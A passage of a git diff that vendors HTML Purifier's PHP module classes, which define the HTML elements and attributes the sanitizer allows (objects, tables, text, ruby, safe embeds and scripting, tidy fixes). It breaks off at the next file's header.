+ * Module adds the nofollow attribute transformation to a tags. It
+ * is enabled by HTML.Nofollow
+ */
+class HTMLPurifier_HTMLModule_Nofollow extends HTMLPurifier_HTMLModule
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Nofollow';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $a = $this->addBlankElement('a');
+ $a->attr_transform_post[] = new HTMLPurifier_AttrTransform_Nofollow();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php
new file mode 100644
index 000000000..da722253a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php
@@ -0,0 +1,20 @@
+<?php
+
+class HTMLPurifier_HTMLModule_NonXMLCommonAttributes extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'NonXMLCommonAttributes';
+
+ /**
+ * @type array
+ */
+ public $attr_collections = array(
+ 'Lang' => array(
+ 'lang' => 'LanguageCode',
+ )
+ );
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php
new file mode 100644
index 000000000..2f9efc5c8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * XHTML 1.1 Object Module, defines elements for generic object inclusion
+ * @warning Users will commonly use <embed> to cater to legacy browsers: this
+ * module does not allow this sort of behavior
+ */
+class HTMLPurifier_HTMLModule_Object extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Object';
+
+ /**
+ * @type bool
+ */
+ public $safe = false;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $this->addElement(
+ 'object',
+ 'Inline',
+ 'Optional: #PCDATA | Flow | param',
+ 'Common',
+ array(
+ 'archive' => 'URI',
+ 'classid' => 'URI',
+ 'codebase' => 'URI',
+ 'codetype' => 'Text',
+ 'data' => 'URI',
+ 'declare' => 'Bool#declare',
+ 'height' => 'Length',
+ 'name' => 'CDATA',
+ 'standby' => 'Text',
+ 'tabindex' => 'Number',
+ 'type' => 'ContentType',
+ 'width' => 'Length'
+ )
+ );
+
+ $this->addElement(
+ 'param',
+ false,
+ 'Empty',
+ null,
+ array(
+ 'id' => 'ID',
+ 'name*' => 'Text',
+ 'type' => 'Text',
+ 'value' => 'Text',
+ 'valuetype' => 'Enum#data,ref,object'
+ )
+ );
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php
new file mode 100644
index 000000000..6458ce9d8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php
@@ -0,0 +1,42 @@
+<?php
+
+/**
+ * XHTML 1.1 Presentation Module, defines simple presentation-related
+ * markup. Text Extension Module.
+ * @note The official XML Schema and DTD specs further divide this into
+ * two modules:
+ * - Block Presentation (hr)
+ * - Inline Presentation (b, big, i, small, sub, sup, tt)
+ * We have chosen not to heed this distinction, as content_sets
+ * provides satisfactory disambiguation.
+ */
+class HTMLPurifier_HTMLModule_Presentation extends HTMLPurifier_HTMLModule
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Presentation';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $this->addElement('hr', 'Block', 'Empty', 'Common');
+ $this->addElement('sub', 'Inline', 'Inline', 'Common');
+ $this->addElement('sup', 'Inline', 'Inline', 'Common');
+ $b = $this->addElement('b', 'Inline', 'Inline', 'Common');
+ $b->formatting = true;
+ $big = $this->addElement('big', 'Inline', 'Inline', 'Common');
+ $big->formatting = true;
+ $i = $this->addElement('i', 'Inline', 'Inline', 'Common');
+ $i->formatting = true;
+ $small = $this->addElement('small', 'Inline', 'Inline', 'Common');
+ $small->formatting = true;
+ $tt = $this->addElement('tt', 'Inline', 'Inline', 'Common');
+ $tt->formatting = true;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php
new file mode 100644
index 000000000..5ee3c8e67
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * Module defines proprietary tags and attributes in HTML.
+ * @warning If this module is enabled, standards-compliance is off!
+ */
+class HTMLPurifier_HTMLModule_Proprietary extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Proprietary';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $this->addElement(
+ 'marquee',
+ 'Inline',
+ 'Flow',
+ 'Common',
+ array(
+ 'direction' => 'Enum#left,right,up,down',
+ 'behavior' => 'Enum#alternate',
+ 'width' => 'Length',
+ 'height' => 'Length',
+ 'scrolldelay' => 'Number',
+ 'scrollamount' => 'Number',
+ 'loop' => 'Number',
+ 'bgcolor' => 'Color',
+ 'hspace' => 'Pixels',
+ 'vspace' => 'Pixels',
+ )
+ );
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php
new file mode 100644
index 000000000..a0d48924d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * XHTML 1.1 Ruby Annotation Module, defines elements that indicate
+ * short runs of text alongside base text for annotation or pronounciation.
+ */
+class HTMLPurifier_HTMLModule_Ruby extends HTMLPurifier_HTMLModule
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Ruby';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $this->addElement(
+ 'ruby',
+ 'Inline',
+ 'Custom: ((rb, (rt | (rp, rt, rp))) | (rbc, rtc, rtc?))',
+ 'Common'
+ );
+ $this->addElement('rbc', false, 'Required: rb', 'Common');
+ $this->addElement('rtc', false, 'Required: rt', 'Common');
+ $rb = $this->addElement('rb', false, 'Inline', 'Common');
+ $rb->excludes = array('ruby' => true);
+ $rt = $this->addElement('rt', false, 'Inline', 'Common', array('rbspan' => 'Number'));
+ $rt->excludes = array('ruby' => true);
+ $this->addElement('rp', false, 'Optional: #PCDATA', 'Common');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php
new file mode 100644
index 000000000..04e6689ea
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * A "safe" embed module. See SafeObject. This is a proprietary element.
+ */
+class HTMLPurifier_HTMLModule_SafeEmbed extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'SafeEmbed';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $max = $config->get('HTML.MaxImgLength');
+ $embed = $this->addElement(
+ 'embed',
+ 'Inline',
+ 'Empty',
+ 'Common',
+ array(
+ 'src*' => 'URI#embedded',
+ 'type' => 'Enum#application/x-shockwave-flash',
+ 'width' => 'Pixels#' . $max,
+ 'height' => 'Pixels#' . $max,
+ 'allowscriptaccess' => 'Enum#never',
+ 'allownetworking' => 'Enum#internal',
+ 'flashvars' => 'Text',
+ 'wmode' => 'Enum#window,transparent,opaque',
+ 'name' => 'ID',
+ )
+ );
+ $embed->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeEmbed();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php
new file mode 100644
index 000000000..1297f80a3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * A "safe" object module. In theory, objects permitted by this module will
+ * be safe, and untrusted users can be allowed to embed arbitrary flash objects
+ * (maybe other types too, but only Flash is supported as of right now).
+ * Highly experimental.
+ */
+class HTMLPurifier_HTMLModule_SafeObject extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'SafeObject';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ // These definitions are not intrinsically safe: the attribute transforms
+ // are a vital part of ensuring safety.
+
+ $max = $config->get('HTML.MaxImgLength');
+ $object = $this->addElement(
+ 'object',
+ 'Inline',
+ 'Optional: param | Flow | #PCDATA',
+ 'Common',
+ array(
+ // While technically not required by the spec, we're forcing
+ // it to this value.
+ 'type' => 'Enum#application/x-shockwave-flash',
+ 'width' => 'Pixels#' . $max,
+ 'height' => 'Pixels#' . $max,
+ 'data' => 'URI#embedded',
+ 'codebase' => new HTMLPurifier_AttrDef_Enum(
+ array(
+ 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0'
+ )
+ ),
+ )
+ );
+ $object->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeObject();
+
+ $param = $this->addElement(
+ 'param',
+ false,
+ 'Empty',
+ false,
+ array(
+ 'id' => 'ID',
+ 'name*' => 'Text',
+ 'value' => 'Text'
+ )
+ );
+ $param->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeParam();
+ $this->info_injector[] = 'SafeObject';
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php
new file mode 100644
index 000000000..0330cd97f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * A "safe" script module. No inline JS is allowed, and pointed to JS
+ * files must match whitelist.
+ */
+class HTMLPurifier_HTMLModule_SafeScripting extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'SafeScripting';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ // These definitions are not intrinsically safe: the attribute transforms
+ // are a vital part of ensuring safety.
+
+ $allowed = $config->get('HTML.SafeScripting');
+ $script = $this->addElement(
+ 'script',
+ 'Inline',
+ 'Empty',
+ null,
+ array(
+ // While technically not required by the spec, we're forcing
+ // it to this value.
+ 'type' => 'Enum#text/javascript',
+ 'src*' => new HTMLPurifier_AttrDef_Enum(array_keys($allowed))
+ )
+ );
+ $script->attr_transform_pre[] =
+ $script->attr_transform_post[] = new HTMLPurifier_AttrTransform_ScriptRequired();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.php
new file mode 100644
index 000000000..8b28a7b7e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Scripting.php
@@ -0,0 +1,73 @@
+<?php
+
+/*
+
+WARNING: THIS MODULE IS EXTREMELY DANGEROUS AS IT ENABLES INLINE SCRIPTING
+INSIDE HTML PURIFIER DOCUMENTS. USE ONLY WITH TRUSTED USER INPUT!!!
+
+*/
+
+/**
+ * XHTML 1.1 Scripting module, defines elements that are used to contain
+ * information pertaining to executable scripts or the lack of support
+ * for executable scripts.
+ * @note This module does not contain inline scripting elements
+ */
+class HTMLPurifier_HTMLModule_Scripting extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Scripting';
+
+ /**
+ * @type array
+ */
+ public $elements = array('script', 'noscript');
+
+ /**
+ * @type array
+ */
+ public $content_sets = array('Block' => 'script | noscript', 'Inline' => 'script | noscript');
+
+ /**
+ * @type bool
+ */
+ public $safe = false;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ // TODO: create custom child-definition for noscript that
+ // auto-wraps stray #PCDATA in a similar manner to
+ // blockquote's custom definition (we would use it but
+ // blockquote's contents are optional while noscript's contents
+ // are required)
+
+ // TODO: convert this to new syntax, main problem is getting
+ // both content sets working
+
+ // In theory, this could be safe, but I don't see any reason to
+ // allow it.
+ $this->info['noscript'] = new HTMLPurifier_ElementDef();
+ $this->info['noscript']->attr = array(0 => array('Common'));
+ $this->info['noscript']->content_model = 'Heading | List | Block';
+ $this->info['noscript']->content_model_type = 'required';
+
+ $this->info['script'] = new HTMLPurifier_ElementDef();
+ $this->info['script']->attr = array(
+ 'defer' => new HTMLPurifier_AttrDef_Enum(array('defer')),
+ 'src' => new HTMLPurifier_AttrDef_URI(true),
+ 'type' => new HTMLPurifier_AttrDef_Enum(array('text/javascript'))
+ );
+ $this->info['script']->content_model = '#PCDATA';
+ $this->info['script']->content_model_type = 'optional';
+ $this->info['script']->attr_transform_pre[] =
+ $this->info['script']->attr_transform_post[] =
+ new HTMLPurifier_AttrTransform_ScriptRequired();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.php
new file mode 100644
index 000000000..497b832ae
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/StyleAttribute.php
@@ -0,0 +1,33 @@
+<?php
+
+/**
+ * XHTML 1.1 Edit Module, defines editing-related elements. Text Extension
+ * Module.
+ */
+class HTMLPurifier_HTMLModule_StyleAttribute extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'StyleAttribute';
+
+ /**
+ * @type array
+ */
+ public $attr_collections = array(
+ // The inclusion routine differs from the Abstract Modules but
+ // is in line with the DTD and XML Schemas.
+ 'Style' => array('style' => false), // see constructor
+ 'Core' => array(0 => array('Style'))
+ );
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $this->attr_collections['Style']['style'] = new HTMLPurifier_AttrDef_CSS();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.php
new file mode 100644
index 000000000..8a0b3b461
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tables.php
@@ -0,0 +1,75 @@
+<?php
+
+/**
+ * XHTML 1.1 Tables Module, fully defines accessible table elements.
+ */
+class HTMLPurifier_HTMLModule_Tables extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Tables';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $this->addElement('caption', false, 'Inline', 'Common');
+
+ $this->addElement(
+ 'table',
+ 'Block',
+ new HTMLPurifier_ChildDef_Table(),
+ 'Common',
+ array(
+ 'border' => 'Pixels',
+ 'cellpadding' => 'Length',
+ 'cellspacing' => 'Length',
+ 'frame' => 'Enum#void,above,below,hsides,lhs,rhs,vsides,box,border',
+ 'rules' => 'Enum#none,groups,rows,cols,all',
+ 'summary' => 'Text',
+ 'width' => 'Length'
+ )
+ );
+
+ // common attributes
+ $cell_align = array(
+ 'align' => 'Enum#left,center,right,justify,char',
+ 'charoff' => 'Length',
+ 'valign' => 'Enum#top,middle,bottom,baseline',
+ );
+
+ $cell_t = array_merge(
+ array(
+ 'abbr' => 'Text',
+ 'colspan' => 'Number',
+ 'rowspan' => 'Number',
+ // Apparently, as of HTML5 this attribute only applies
+ // to 'th' elements.
+ 'scope' => 'Enum#row,col,rowgroup,colgroup',
+ ),
+ $cell_align
+ );
+ $this->addElement('td', false, 'Flow', 'Common', $cell_t);
+ $this->addElement('th', false, 'Flow', 'Common', $cell_t);
+
+ $this->addElement('tr', false, 'Required: td | th', 'Common', $cell_align);
+
+ $cell_col = array_merge(
+ array(
+ 'span' => 'Number',
+ 'width' => 'MultiLength',
+ ),
+ $cell_align
+ );
+ $this->addElement('col', false, 'Empty', 'Common', $cell_col);
+ $this->addElement('colgroup', false, 'Optional: col', 'Common', $cell_col);
+
+ $this->addElement('tbody', false, 'Required: tr', 'Common', $cell_align);
+ $this->addElement('thead', false, 'Required: tr', 'Common', $cell_align);
+ $this->addElement('tfoot', false, 'Required: tr', 'Common', $cell_align);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Target.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Target.php
new file mode 100644
index 000000000..b188ac936
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Target.php
@@ -0,0 +1,28 @@
+<?php
+
+/**
+ * XHTML 1.1 Target Module, defines target attribute in link elements.
+ */
+class HTMLPurifier_HTMLModule_Target extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Target';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $elements = array('a');
+ foreach ($elements as $name) {
+ $e = $this->addBlankElement($name);
+ $e->attr = array(
+ 'target' => new HTMLPurifier_AttrDef_HTML_FrameTarget()
+ );
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.php
new file mode 100644
index 000000000..58ccc6894
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/TargetBlank.php
@@ -0,0 +1,24 @@
+<?php
+
+/**
+ * Module adds the target=blank attribute transformation to a tags. It
+ * is enabled by HTML.TargetBlank
+ */
+class HTMLPurifier_HTMLModule_TargetBlank extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'TargetBlank';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $a = $this->addBlankElement('a');
+ $a->attr_transform_post[] = new HTMLPurifier_AttrTransform_TargetBlank();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Text.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Text.php
new file mode 100644
index 000000000..7a65e0048
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Text.php
@@ -0,0 +1,87 @@
+<?php
+
+/**
+ * XHTML 1.1 Text Module, defines basic text containers. Core Module.
+ * @note In the normative XML Schema specification, this module
+ * is further abstracted into the following modules:
+ * - Block Phrasal (address, blockquote, pre, h1, h2, h3, h4, h5, h6)
+ * - Block Structural (div, p)
+ * - Inline Phrasal (abbr, acronym, cite, code, dfn, em, kbd, q, samp, strong, var)
+ * - Inline Structural (br, span)
+ * This module, functionally, does not distinguish between these
+ * sub-modules, but the code is internally structured to reflect
+ * these distinctions.
+ */
+class HTMLPurifier_HTMLModule_Text extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Text';
+
+ /**
+ * @type array
+ */
+ public $content_sets = array(
+ 'Flow' => 'Heading | Block | Inline'
+ );
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ // Inline Phrasal -------------------------------------------------
+ $this->addElement('abbr', 'Inline', 'Inline', 'Common');
+ $this->addElement('acronym', 'Inline', 'Inline', 'Common');
+ $this->addElement('cite', 'Inline', 'Inline', 'Common');
+ $this->addElement('dfn', 'Inline', 'Inline', 'Common');
+ $this->addElement('kbd', 'Inline', 'Inline', 'Common');
+ $this->addElement('q', 'Inline', 'Inline', 'Common', array('cite' => 'URI'));
+ $this->addElement('samp', 'Inline', 'Inline', 'Common');
+ $this->addElement('var', 'Inline', 'Inline', 'Common');
+
+ $em = $this->addElement('em', 'Inline', 'Inline', 'Common');
+ $em->formatting = true;
+
+ $strong = $this->addElement('strong', 'Inline', 'Inline', 'Common');
+ $strong->formatting = true;
+
+ $code = $this->addElement('code', 'Inline', 'Inline', 'Common');
+ $code->formatting = true;
+
+ // Inline Structural ----------------------------------------------
+ $this->addElement('span', 'Inline', 'Inline', 'Common');
+ $this->addElement('br', 'Inline', 'Empty', 'Core');
+
+ // Block Phrasal --------------------------------------------------
+ $this->addElement('address', 'Block', 'Inline', 'Common');
+ $this->addElement('blockquote', 'Block', 'Optional: Heading | Block | List', 'Common', array('cite' => 'URI'));
+ $pre = $this->addElement('pre', 'Block', 'Inline', 'Common');
+ $pre->excludes = $this->makeLookup(
+ 'img',
+ 'big',
+ 'small',
+ 'object',
+ 'applet',
+ 'font',
+ 'basefont'
+ );
+ $this->addElement('h1', 'Heading', 'Inline', 'Common');
+ $this->addElement('h2', 'Heading', 'Inline', 'Common');
+ $this->addElement('h3', 'Heading', 'Inline', 'Common');
+ $this->addElement('h4', 'Heading', 'Inline', 'Common');
+ $this->addElement('h5', 'Heading', 'Inline', 'Common');
+ $this->addElement('h6', 'Heading', 'Inline', 'Common');
+
+ // Block Structural -----------------------------------------------
+ $p = $this->addElement('p', 'Block', 'Inline', 'Common');
+ $p->autoclose = array_flip(
+ array("address", "blockquote", "center", "dir", "div", "dl", "fieldset", "ol", "p", "ul")
+ );
+
+ $this->addElement('div', 'Block', 'Flow', 'Common');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.php
new file mode 100644
index 000000000..08aa23247
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy.php
@@ -0,0 +1,230 @@
+<?php
+
+/**
+ * Abstract class for a set of proprietary modules that clean up (tidy)
+ * poorly written HTML.
+ * @todo Figure out how to protect some of these methods/properties
+ */
+class HTMLPurifier_HTMLModule_Tidy extends HTMLPurifier_HTMLModule
+{
+ /**
+ * List of supported levels.
+ * Index zero is a special case "no fixes" level.
+ * @type array
+ */
+ public $levels = array(0 => 'none', 'light', 'medium', 'heavy');
+
+ /**
+ * Default level to place all fixes in.
+ * Disabled by default.
+ * @type string
+ */
+ public $defaultLevel = null;
+
+ /**
+ * Lists of fixes used by getFixesForLevel().
+ * Format is:
+ * HTMLModule_Tidy->fixesForLevel[$level] = array('fix-1', 'fix-2');
+ * @type array
+ */
+ public $fixesForLevel = array(
+ 'light' => array(),
+ 'medium' => array(),
+ 'heavy' => array()
+ );
+
+ /**
+ * Lazy load constructs the module by determining the necessary
+ * fixes to create and then delegating to the populate() function.
+ * @param HTMLPurifier_Config $config
+ * @todo Wildcard matching and error reporting when an added or
+ * subtracted fix has no effect.
+ */
+ public function setup($config)
+ {
+ // create fixes, initialize fixesForLevel
+ $fixes = $this->makeFixes();
+ $this->makeFixesForLevel($fixes);
+
+ // figure out which fixes to use
+ $level = $config->get('HTML.TidyLevel');
+ $fixes_lookup = $this->getFixesForLevel($level);
+
+ // get custom fix declarations: these need namespace processing
+ $add_fixes = $config->get('HTML.TidyAdd');
+ $remove_fixes = $config->get('HTML.TidyRemove');
+
+ foreach ($fixes as $name => $fix) {
+ // needs to be refactored a little to implement globbing
+ if (isset($remove_fixes[$name]) ||
+ (!isset($add_fixes[$name]) && !isset($fixes_lookup[$name]))) {
+ unset($fixes[$name]);
+ }
+ }
+
+ // populate this module with necessary fixes
+ $this->populate($fixes);
+ }
+
+ /**
+ * Retrieves all fixes per a level, returning fixes for that specific
+ * level as well as all levels below it.
+ * @param string $level level identifier, see $levels for valid values
+ * @return array Lookup up table of fixes
+ */
+ public function getFixesForLevel($level)
+ {
+ if ($level == $this->levels[0]) {
+ return array();
+ }
+ $activated_levels = array();
+ for ($i = 1, $c = count($this->levels); $i < $c; $i++) {
+ $activated_levels[] = $this->levels[$i];
+ if ($this->levels[$i] == $level) {
+ break;
+ }
+ }
+ if ($i == $c) {
+ trigger_error(
+ 'Tidy level ' . htmlspecialchars($level) . ' not recognized',
+ E_USER_WARNING
+ );
+ return array();
+ }
+ $ret = array();
+ foreach ($activated_levels as $level) {
+ foreach ($this->fixesForLevel[$level] as $fix) {
+ $ret[$fix] = true;
+ }
+ }
+ return $ret;
+ }
+
+ /**
+ * Dynamically populates the $fixesForLevel member variable using
+ * the fixes array. It may be custom overloaded, used in conjunction
+ * with $defaultLevel, or not used at all.
+ * @param array $fixes
+ */
+ public function makeFixesForLevel($fixes)
+ {
+ if (!isset($this->defaultLevel)) {
+ return;
+ }
+ if (!isset($this->fixesForLevel[$this->defaultLevel])) {
+ trigger_error(
+ 'Default level ' . $this->defaultLevel . ' does not exist',
+ E_USER_ERROR
+ );
+ return;
+ }
+ $this->fixesForLevel[$this->defaultLevel] = array_keys($fixes);
+ }
+
+ /**
+ * Populates the module with transforms and other special-case code
+ * based on a list of fixes passed to it
+ * @param array $fixes Lookup table of fixes to activate
+ */
+ public function populate($fixes)
+ {
+ foreach ($fixes as $name => $fix) {
+ // determine what the fix is for
+ list($type, $params) = $this->getFixType($name);
+ switch ($type) {
+ case 'attr_transform_pre':
+ case 'attr_transform_post':
+ $attr = $params['attr'];
+ if (isset($params['element'])) {
+ $element = $params['element'];
+ if (empty($this->info[$element])) {
+ $e = $this->addBlankElement($element);
+ } else {
+ $e = $this->info[$element];
+ }
+ } else {
+ $type = "info_$type";
+ $e = $this;
+ }
+ // PHP does some weird parsing when I do
+ // $e->$type[$attr], so I have to assign a ref.
+ $f =& $e->$type;
+ $f[$attr] = $fix;
+ break;
+ case 'tag_transform':
+ $this->info_tag_transform[$params['element']] = $fix;
+ break;
+ case 'child':
+ case 'content_model_type':
+ $element = $params['element'];
+ if (empty($this->info[$element])) {
+ $e = $this->addBlankElement($element);
+ } else {
+ $e = $this->info[$element];
+ }
+ $e->$type = $fix;
+ break;
+ default:
+ trigger_error("Fix type $type not supported", E_USER_ERROR);
+ break;
+ }
+ }
+ }
+
+ /**
+ * Parses a fix name and determines what kind of fix it is, as well
+ * as other information defined by the fix
+ * @param $name String name of fix
+ * @return array(string $fix_type, array $fix_parameters)
+ * @note $fix_parameters is type dependant, see populate() for usage
+ * of these parameters
+ */
+ public function getFixType($name)
+ {
+ // parse it
+ $property = $attr = null;
+ if (strpos($name, '#') !== false) {
+ list($name, $property) = explode('#', $name);
+ }
+ if (strpos($name, '@') !== false) {
+ list($name, $attr) = explode('@', $name);
+ }
+
+ // figure out the parameters
+ $params = array();
+ if ($name !== '') {
+ $params['element'] = $name;
+ }
+ if (!is_null($attr)) {
+ $params['attr'] = $attr;
+ }
+
+ // special case: attribute transform
+ if (!is_null($attr)) {
+ if (is_null($property)) {
+ $property = 'pre';
+ }
+ $type = 'attr_transform_' . $property;
+ return array($type, $params);
+ }
+
+ // special case: tag transform
+ if (is_null($property)) {
+ return array('tag_transform', $params);
+ }
+
+ return array($property, $params);
+
+ }
+
+ /**
+ * Defines all fixes the module will perform in a compact
+ * associative array of fix name to fix implementation.
+ * @return array
+ */
+ public function makeFixes()
+ {
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.php
new file mode 100644
index 000000000..a995161b2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Name.php
@@ -0,0 +1,33 @@
+<?php
+
+/**
+ * Name is deprecated, but allowed in strict doctypes, so onl
+ */
+class HTMLPurifier_HTMLModule_Tidy_Name extends HTMLPurifier_HTMLModule_Tidy
+{
+ /**
+ * @type string
+ */
+ public $name = 'Tidy_Name';
+
+ /**
+ * @type string
+ */
+ public $defaultLevel = 'heavy';
+
+ /**
+ * @return array
+ */
+ public function makeFixes()
+ {
+ $r = array();
+ // @name for img, a -----------------------------------------------
+ // Technically, it's allowed even on strict, so we allow authors to use
+ // it. However, it's deprecated in future versions of XHTML.
+ $r['img@name'] =
+ $r['a@name'] = new HTMLPurifier_AttrTransform_Name();
+ return $r;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Tidy/Proprietary.php
new file mode 100644
index 000000000..332643821
--- /dev/null
